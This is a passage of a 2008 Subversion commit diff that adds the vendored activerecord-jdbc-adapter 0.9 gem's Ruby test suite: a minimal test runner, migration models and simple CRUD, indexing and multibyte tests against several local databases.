+    %{<p>
+        Pragmatic programmers use feedback to drive their development and 
+        personal processes. The most valuable feedback you can get while 
+        coding comes from unit testing.
+      </p>
+      <p>
+        Without good tests in place, coding can become a frustrating game of 
+        "whack-a-mole." That's the carnival game where the player strikes at a 
+        mechanical mole; it retreats and another mole pops up on the opposite side 
+        of the field. The moles pop up and down so fast that you end up flailing 
+        your mallet helplessly as the moles continue to pop up where you least 
+        expect them.
+      </p>},
+    :image_url => '/images/utc.jpg',
+    :price => 27.75)
+
+
+
+
+1.times do 
+  $stderr.print '.'
+  Author.destroy_all
+  Author.create(:name => "Arne Svensson", :age => 30)
+  if /db2|derby|mimer/ !~ ARGV[1]
+    Author.create(:name => "Pelle Gogolsson", :age => 15, :waking_time => Time.now, :private_key => "afbafddsfgsdfg")
+  else
+    Author.create(:name => "Pelle Gogolsson", :age => 15, :wakeup_time => Time.now, :private_key => "afbafddsfgsdfg")
+  end
+  Author.find(:first)
+  Author.find(:all)
+  arne = Author.find(:first)
+  arne.destroy
+
+  pelle = Author.find(:first)
+  pelle.name = "Pelle Sweitchon"
+  pelle.description = "dfsssdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
+  pelle.descr = "adsfasdf"
+  pelle.age = 79
+  pelle.weight = 57.6
+  pelle.born = Time.gm(1982,8,13,10,15,3,0)
+  pelle.female = false
+  pelle.save
+
+  prods = Product.find :all
+  order = Order.new(:name => "Dalai Lama", :address => "Great Road 32", :email => "abc at dot.com", :pay_type => "cash")
+  order.line_items << LineItem.new(:product => prods[0], :quantity => 3, :total_price => (prods[0].price * 3))
+  order.line_items << LineItem.new(:product => prods[2], :quantity => 1, :total_price => (prods[2].price))
+  order.save
+
+  puts "order: #{order.line_items.inspect}, with id: #{order.id} and name: #{order.name}"
+end
+
+ActiveRecord::Schema.define do 
+    drop_table :line_items
+    drop_table :orders
+    drop_table :products
+
+  
+  drop_table((/db2|firebird|mimer/=~ARGV[1]? :author : :authors ))
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/manualTestDatabase.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testConnect.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testConnect.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testConnect.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+require 'test/minirunit'
+RAILS_CONNECTION_ADAPTERS = ['abstract', 'jdbc']
+require 'active_record'
+
+connspec = ActiveRecord::Base.establish_connection(
+  :adapter  => 'jdbc',
+  :driver   => 'com.mysql.jdbc.Driver',
+  :url      => 'jdbc:mysql://localhost:3306/test',
+  :username => 'rlsmgr',
+  :password => ''
+)
+
+puts "#{connspec}"
+puts "#{ActiveRecord::Base.connection}"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testH2.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testH2.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testH2.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,73 @@
+
+require 'minirunit'
+
+config = {
+  :adapter => 'jdbc',
+  :username => 'sa',
+  :password => '',
+  :driver => 'org.h2.Driver',
+  :url => 'jdbc:h2:test.db'
+}
+RAILS_CONNECTION_ADAPTERS = ['abstract', 'jdbc']
+
+require 'active_record'
+
+ActiveRecord::Base.establish_connection(config)
+require 'logger'
+ActiveRecord::Base.logger = Logger.new($stdout)
+ActiveRecord::Base.logger.level = Logger::DEBUG
+
+class CreateEntries < ActiveRecord::Migration
+  def self.up
+    create_table "entries", :force => true do |t|
+      t.column :title, :string, :limit => 100
+      t.column :updated_on, :datetime
+      t.column :content, :text
+    end
+  end
+
+  def self.down
+    drop_table "entries"
+  end
+end
+
+CreateEntries.up
+
+test_ok ActiveRecord::Base.connection.tables.include?('entries')
+
+class Entry < ActiveRecord::Base
+end
+
+Entry.delete_all
+
+test_equal 0, Entry.count
+
+TITLE = "First post!"
+CONTENT = "Hello from JRuby on Rails!"
+NEW_TITLE = "First post updated title"
+
+post = Entry.new
+post.title = TITLE
+post.content = CONTENT
+post.save
+
+test_equal 1, Entry.count
+
+post = Entry.find(:first)
+test_equal TITLE, post.title
+test_equal CONTENT, post.content
+
+post.title = NEW_TITLE
+post.save
+
+post = Entry.find(:first)
+test_equal NEW_TITLE, post.title
+
+post.destroy
+
+test_equal 0, Entry.count
+
+CreateEntries.down
+
+# Clean up hsqldb when done
+Dir['test.db*'].each {|f| File.delete(f)}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testHsqldb.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testHsqldb.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testHsqldb.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,73 @@
+
+require 'minirunit'
+
+config = {
+  :adapter => 'jdbc',
+  :username => 'sa',
+  :password => '',
+  :driver => 'org.hsqldb.jdbcDriver',
+  :url => 'jdbc:hsqldb:test.db'
+}
+RAILS_CONNECTION_ADAPTERS = ['abstract', 'jdbc']
+
+require 'active_record'
+
+ActiveRecord::Base.establish_connection(config)
+require 'logger'
+ActiveRecord::Base.logger = Logger.new($stdout)
+ActiveRecord::Base.logger.level = Logger::DEBUG
+
+class CreateEntries < ActiveRecord::Migration
+  def self.up
+    create_table "entries", :force => true do |t|
+      t.column :title, :string, :limit => 100
+      t.column :updated_on, :datetime
+      t.column :content, :text
+    end
+  end
+
+  def self.down
+    drop_table "entries"
+  end
+end
+
+CreateEntries.up
+
+test_ok ActiveRecord::Base.connection.tables.include?('entries')
+
+class Entry < ActiveRecord::Base
+end
+
+Entry.delete_all
+
+test_equal 0, Entry.count
+
+TITLE = "First post!"
+CONTENT = "Hello from JRuby on Rails!"
+NEW_TITLE = "First post updated title"
+
+post = Entry.new
+post.title = TITLE
+post.content = CONTENT
+post.save
+
+test_equal 1, Entry.count
+
+post = Entry.find(:first)
+test_equal TITLE, post.title
+test_equal CONTENT, post.content
+
+post.title = NEW_TITLE
+post.save
+
+post = Entry.find(:first)
+test_equal NEW_TITLE, post.title
+
+post.destroy
+
+test_equal 0, Entry.count
+
+CreateEntries.down
+
+# Clean up hsqldb when done
+Dir['test.db*'].each {|f| File.delete(f)}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testLoadActiveRecord.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testLoadActiveRecord.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testLoadActiveRecord.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+require 'test/minirunit'
+RAILS_CONNECTION_ADAPTERS = ['abstract']
+test_load 'active_record'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testMysql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testMysql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testMysql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,83 @@
+# To run this script, run the following in a mysql instance:
+#
+#   drop database if exists weblog_development;
+#   create database weblog_development;
+#   grant all on weblog_development.* to blog at localhost;
+
+require 'minirunit'
+
+config = {
+  :username => 'blog',
+  :password => ''
+}
+
+if RUBY_PLATFORM =~ /java/
+  RAILS_CONNECTION_ADAPTERS = ['abstract', 'jdbc']
+  config.update({
+    :adapter  => 'jdbc',
+    :driver   => 'com.mysql.jdbc.Driver',
+    :url      => 'jdbc:mysql://localhost:3306/weblog_development',
+  })
+else
+  config.update({
+    :adapter  => 'mysql',
+    :database => 'weblog_development',
+    :host     => 'localhost'
+  })
+end
+
+require 'active_record'
+
+ActiveRecord::Base.establish_connection(config)
+
+class CreateEntries < ActiveRecord::Migration
+  def self.up
+    create_table "entries", :force => true do |t|
+      t.column :title, :string, :limit => 100
+      t.column :updated_on, :datetime
+      t.column :content, :text
+    end
+  end
+
+  def self.down
+    drop_table "entries"
+  end
+end
+
+CreateEntries.up
+
+test_ok ActiveRecord::Base.connection.tables.include?('entries')
+
+class Entry < ActiveRecord::Base
+end
+
+Entry.delete_all
+
+test_equal 0, Entry.count
+
+TITLE = "First post!"
+CONTENT = "Hello from JRuby on Rails!"
+NEW_TITLE = "First post updated title"
+
+post = Entry.new
+post.title = TITLE
+post.content = CONTENT
+post.save
+
+test_equal 1, Entry.count
+
+post = Entry.find(:first)
+test_equal TITLE, post.title
+test_equal CONTENT, post.content
+
+post.title = NEW_TITLE
+post.save
+
+post = Entry.find(:first)
+test_equal NEW_TITLE, post.title
+
+post.destroy
+
+test_equal 0, Entry.count
+
+CreateEntries.down

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testRawSelect.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testRawSelect.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit/testRawSelect.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+
+require 'test/minirunit'
+RAILS_CONNECTION_ADAPTERS = ['abstract', 'jdbc']
+require 'active_record'
+
+connspec = ActiveRecord::Base.establish_connection(
+  :adapter  => 'jdbc',
+  :driver   => 'com.mysql.jdbc.Driver',
+  :url      => 'jdbc:mysql://localhost:3306/weblog_development',
+  :username => 'blog',
+  :password => ''
+)
+
+connection = ActiveRecord::Base.connection
+
+results = connection.execute "select * from entries"
+
+test_equal results.length, 1
+
+row = results.first
+test_equal 'First post', row['title']
+test_equal 'First post d00d!', row['content']
+
+puts row.inspect

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,109 @@
+
+$silentTests = false
+$testnum=0
+$ntest=0
+$failed = []
+$curtestOK=true
+
+module MiniRUnit
+  class Failure
+    def initialize(what, testnum, msg, where)
+      @what, @testnum, @msg, @where = what, testnum, msg, where
+    end
+
+    def to_s
+      sprintf("FAILED %s %d %s-- %s\n", @what, @testnum, @msg, @where)
+    end
+  end
+
+  class Error
+    def initialize(what, testnum, boom)
+      @what, @testnum, @boom = what, testnum, boom
+    end
+
+    def to_s
+      sprintf("EXCEPTION raised %s %d -- \n\tException: %s\n\t%s",
+              @what, @testnum, @boom.to_s, @boom.backtrace.join("\n\t"))
+    end
+  end
+end
+
+
+def test_check(what)
+  printf "%s : ", what unless $silentTests
+  $what = what
+  $testnum = 0
+end
+
+def test_ok(cond, msg="")
+  $testnum+=1
+  $ntest+=1
+  if cond
+    print "." unless $silentTests
+  else
+    where = caller.reject {|where| where =~ /minirunit/}[0]
+    $failed.push(MiniRUnit::Failure.new($what, $testnum, msg, where))
+    print "F" unless $silentTests
+    $curtestOK=false
+  end
+end
+
+def test_fail(msg="")
+  test_ok(false, msg)
+end
+
+def test_equal(a,b)
+ test_ok(a == b, "expected #{a.inspect}, found #{b.inspect}") 
+end
+
+def test_no_exception(&proc)
+  raised = false
+  begin
+    proc.call
+  rescue exception
+    raised = x
+  end
+  test_ok(!raised, "unexpected exception #{raised}")	
+end
+
+def test_exception(type=Exception, &proc)
+  raised = false
+  begin
+    proc.call
+  rescue type=>e
+    raised = true
+  end
+  test_ok(raised, "#{type} expected")
+  e
+end
+
+def test_get_last_failed
+  if $failed.empty?
+    return nil
+  end
+  return $failed.last
+end
+
+def test_print_report
+  puts
+  puts "-" * 80
+  $failed.each { |error| puts error }
+  puts "-" * 80
+  puts "Tests: #$ntest. (Ok: #{$ntest - $failed.size}; Failed: #{$failed.size})"
+end
+
+def test_load(test)
+  begin
+	$curtestOK=true
+	load(test)
+  rescue Exception => boom
+	puts 'ERROR' unless $silentTests
+	$failed.push(MiniRUnit::Error.new($what, $testnum, boom))
+  else
+	if $curtestOK
+		puts 'OK' unless $silentTests
+	else
+		puts 'FAILED' unless $silentTests
+	end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/add_not_null_column_to_table.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/add_not_null_column_to_table.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/add_not_null_column_to_table.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+require 'rubygems'
+require 'active_record'
+
+class AddNotNullColumnToTable < ActiveRecord::Migration
+  def self.up
+    add_column :entries, :color, :string, :null => false, :default => "blue"
+  end
+
+  def self.down
+    remove_column :entries, :color
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/auto_id.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/auto_id.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/auto_id.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'rubygems'
+require 'active_record'
+
+class CreateAutoIds < ActiveRecord::Migration
+  def self.up
+    create_table "auto_ids", :force => true do |t|
+      t.column :value, :integer
+    end
+  end
+
+  def self.down
+    drop_table "auto_ids"
+  end
+end
+
+class AutoId < ActiveRecord::Base
+  def self.table_name () "auto_ids" end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/data_types.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/data_types.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/data_types.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'rubygems'
+require 'active_record'
+
+class DbTypeMigration < ActiveRecord::Migration
+  def self.up
+    create_table "db_types", :force => true do |t|
+      t.column :sample_timestamp, :timestamp
+      t.column :sample_decimal, :decimal, :precision=> 15, :scale => 0
+    end
+  end
+
+  def self.down
+    drop_table "db_types"
+  end
+end
+
+class DbType < ActiveRecord::Base
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/entry.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/entry.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/entry.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'rubygems'
+require 'active_record'
+
+class CreateEntries < ActiveRecord::Migration
+  def self.up
+    create_table "entries", :force => true do |t|
+      t.column :title, :string, :limit => 100
+      t.column :updated_on, :datetime
+      t.column :content, :text
+      t.column :rating, :decimal, :precision => 10, :scale => 2
+    end
+  end
+
+  def self.down
+    drop_table "entries"
+  end
+end
+
+class Entry < ActiveRecord::Base
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/reserved_word.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/reserved_word.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models/reserved_word.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'rubygems'
+require 'active_record'
+
+class CreateReservedWords < ActiveRecord::Migration
+  def self.up
+    create_table "reserved_words", :force => true do |t|
+      t.column :position, :integer
+      t.column :select, :integer
+    end
+  end
+
+  def self.down
+    drop_table "reserved_words"
+  end
+end
+
+class ReservedWord < ActiveRecord::Base
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mssql_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mssql_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mssql_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'jdbc_common'
+require 'db/mssql'
+
+class MsSQLSimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mysql_multibyte_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mysql_multibyte_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mysql_multibyte_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'jdbc_common'
+require 'db/mysql'
+
+class MySQLMultibyteTest < Test::Unit::TestCase
+  include MultibyteTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mysql_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mysql_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/mysql_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+# To run this script, run the following in a mysql instance:
+#
+#   drop database if exists weblog_development;
+#   create database weblog_development;
+#   grant all on weblog_development.* to blog at localhost;
+#   flush privileges;
+
+require 'jdbc_common'
+require 'db/mysql'
+
+class MysqlSimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+
+  def test_string_quoting_oddity
+    s = "0123456789a'a"
+    assert_equal "'0123456789a\\'a'", ActiveRecord::Base.connection.quote(s)
+
+    s2 = s[10,3]
+    assert_equal "a'a", s2
+    assert_equal "'a\\'a'", ActiveRecord::Base.connection.quote(s2)
+  end
+end
+
+class MysqlHasManyThroughTest < Test::Unit::TestCase
+  include HasManyThroughMethods
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/oracle_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/oracle_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/oracle_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+require 'jdbc_common'
+require 'db/oracle'
+
+class OracleSimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end
+
+class OracleSpecificTest < Test::Unit::TestCase
+  include MultibyteTestMethods
+
+  def setup
+    super
+    @java_con.createStatement.execute "CREATE TABLE DEFAULT_NUMBER (VALUE NUMBER)"
+    @java_con.createStatement.execute "INSERT INTO DEFAULT_NUMBER (VALUE) VALUES (0.076)"
+  end
+
+  def teardown
+    @java_con.createStatement.execute "DROP TABLE DEFAULT_NUMBER"
+    super
+  end
+
+
+  def test_default_number_precision
+    klass = Class.new(ActiveRecord::Base)
+    klass.set_table_name "DEFAULT_NUMBER"
+    obj = klass.find(:first)
+    assert_equal 0.076, obj.value
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/postgres_reserved_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/postgres_reserved_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/postgres_reserved_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,22 @@
+require 'jdbc_common'
+require 'db/postgres'
+require 'models/reserved_word'
+
+class PostgresReservedWordsTest < Test::Unit::TestCase
+  def setup
+    CreateReservedWords.up
+  end
+  def teardown
+    CreateReservedWords.down
+  end
+
+  def test_quote_reserved_word_column
+    columns = ReservedWord.column_names - ["id"]
+    ReservedWord.connection.add_index :reserved_words, columns
+    indexes = ReservedWord.connection.indexes("reserved_words")
+    assert_equal 1, indexes.size
+    columns.each do |c|
+      assert indexes[0].columns.include?(c), "#{indexes[0].columns.inspect} does not include #{c.inspect}"
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/postgres_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/postgres_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/postgres_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+# To run this script, set up the following postgres user and database:
+#
+#   sudo -u postgres createuser -D -A -P blog
+#   sudo -u postgres createdb -O blog weblog_development
+#
+
+require 'jdbc_common'
+require 'db/postgres'
+
+class PostgresSimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/simple.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/simple.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/simple.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,212 @@
+# -*- coding: utf-8 -*-
+ActiveRecord::Schema.verbose = false
+
+module MigrationSetup
+  def setup
+    CreateEntries.up
+    CreateAutoIds.up
+
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def teardown
+    CreateEntries.down
+    CreateAutoIds.down
+    ActiveRecord::Base.clear_active_connections!
+  end
+end
+
+module FixtureSetup
+  include MigrationSetup
+  def setup
+    super
+    @title = "First post!"
+    @content = "Hello from JRuby on Rails!"
+    @new_title = "First post updated title"
+    @rating = 205.76
+    Entry.create :title => @title, :content => @content, :rating => @rating
+  end
+end
+
+module SimpleTestMethods
+  include FixtureSetup
+
+  def test_entries_created
+    assert ActiveRecord::Base.connection.tables.find{|t| t =~ /^entries$/i}, "entries not created"
+  end
+
+  def test_entries_empty
+    Entry.delete_all
+    assert_equal 0, Entry.count
+  end
+
+  def test_create_new_entry
+    Entry.delete_all
+
+    post = Entry.new
+    post.title = @title
+    post.content = @content
+    post.rating = @rating
+    post.save
+
+    assert_equal 1, Entry.count
+  end
+
+  def test_create_partial_new_entry
+    new_entry = Entry.create(:title => "Blah")
+    new_entry2 = Entry.create(:title => "Bloh")
+  end
+
+  def test_find_and_update_entry
+    post = Entry.find(:first)
+    assert_equal @title, post.title
+    assert_equal @content, post.content
+    assert_equal @rating, post.rating
+
+    post.title = @new_title
+    post.save
+
+    post = Entry.find(:first)
+    assert_equal @new_title, post.title
+  end
+
+  def test_destroy_entry
+    prev_count = Entry.count
+    post = Entry.find(:first)
+    post.destroy
+
+    assert_equal prev_count - 1, Entry.count
+  end
+
+  def test_indexes
+    # Only test indexes if we have implemented it for the particular adapter
+    if @connection.respond_to?(:indexes)
+      indexes = @connection.indexes(:entries)
+      assert_equal(0, indexes.size)
+        
+      index_name = "entries_index"
+      @connection.add_index(:entries, :updated_on, :name => index_name)
+        
+      indexes = @connection.indexes(:entries)
+      assert_equal(1, indexes.size)
+      assert_equal "entries", indexes.first.table.to_s
+      assert_equal index_name, indexes.first.name
+      assert !indexes.first.unique
+      assert_equal ["updated_on"], indexes.first.columns
+    end
+  end
+
+  def test_dumping_schema
+    require 'active_record/schema_dumper'
+    @connection.add_index :entries, :title
+    StringIO.open do |io|
+      ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, io)
+      assert_match(/add_index "entries",/, io.string)
+    end
+    @connection.remove_index :entries, :title
+
+  end
+
+  def test_nil_values
+    test = AutoId.create('value' => '')
+    assert_nil AutoId.find(test.id).value
+  end
+
+  def test_invalid
+    e = Entry.new(:title => @title, :content => @content, :rating => ' ')
+    assert e.valid?
+  end
+
+  def test_reconnect
+    assert_equal 1, Entry.count
+    @connection.reconnect!
+    assert_equal 1, Entry.count
+  end
+
+  def test_connection_valid
+    assert_raises(ActiveRecord::ActiveRecordError) do
+      @connection.raw_connection.with_connection_retry_guard do |c|
+        begin
+          stmt = c.createStatement
+          stmt.execute "bogus sql"
+        ensure
+          stmt.close rescue nil
+        end
+      end
+    end
+  end
+
+  def test_disconnect
+    assert_equal 1, Entry.count
+    ActiveRecord::Base.clear_active_connections!
+    ActiveRecord::Base.connection_pool.disconnect! if ActiveRecord::Base.respond_to?(:connection_pool)
+    assert !ActiveRecord::Base.connected?
+    assert_equal 1, Entry.count
+    assert ActiveRecord::Base.connected?
+  end
+
+  def test_add_not_null_column_to_table
+    AddNotNullColumnToTable.up
+    AddNotNullColumnToTable.down
+  end
+
+  class Animal < ActiveRecord::Base; end
+  def test_fetching_columns_for_nonexistent_table_should_raise
+    assert_raises(ActiveRecord::ActiveRecordError) do
+      Animal.columns
+    end
+  end
+end
+
+module MultibyteTestMethods
+  include MigrationSetup
+
+  def setup
+    super
+    config = ActiveRecord::Base.connection.config
+    jdbc_driver = ActiveRecord::ConnectionAdapters::JdbcDriver.new(config[:driver])
+    jdbc_driver.load
+    @java_con = jdbc_driver.connection(config[:url], config[:username], config[:password])
+    @java_con.setAutoCommit(true)
+  end
+
+  def teardown
+    @java_con.close
+    super
+  end
+
+  def test_multibyte_aliasing
+    str = "テスト"
+    quoted_alias = Entry.connection.quote_column_name(str)
+    sql = "SELECT title AS #{quoted_alias} from entries"
+    records = Entry.connection.select_all(sql)
+    records.each do |rec|
+      rec.keys.each do |key|
+        assert_equal str, key
+      end
+    end
+  end
+  
+  def test_select_multibyte_string
+    @java_con.createStatement().execute("insert into entries (id, title, content) values (1, 'テスト', '本文')")
+    entry = Entry.find(:first)
+    assert_equal "テスト", entry.title
+    assert_equal "本文", entry.content
+    assert_equal entry, Entry.find_by_title("テスト")
+  end
+
+  def test_update_multibyte_string
+    Entry.create!(:title => "テスト", :content => "本文")
+    rs = @java_con.createStatement().executeQuery("select title, content from entries")
+    assert rs.next
+    assert_equal "テスト", rs.getString(1)
+    assert_equal "本文", rs.getString(2)
+  end
+  
+  def test_chinese_word
+    chinese_word = '中文'
+    new_entry = Entry.create(:title => chinese_word)
+    new_entry.reload
+    assert_equal chinese_word, new_entry.title
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/sqlite3_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/sqlite3_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/sqlite3_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'jdbc_common'
+require 'db/sqlite3'
+
+class SQLite3SimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/LICENSE.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/LICENSE.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/LICENSE.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+Copyright (c) 2006-2007 Nick Sieger <nick at nicksieger.com>
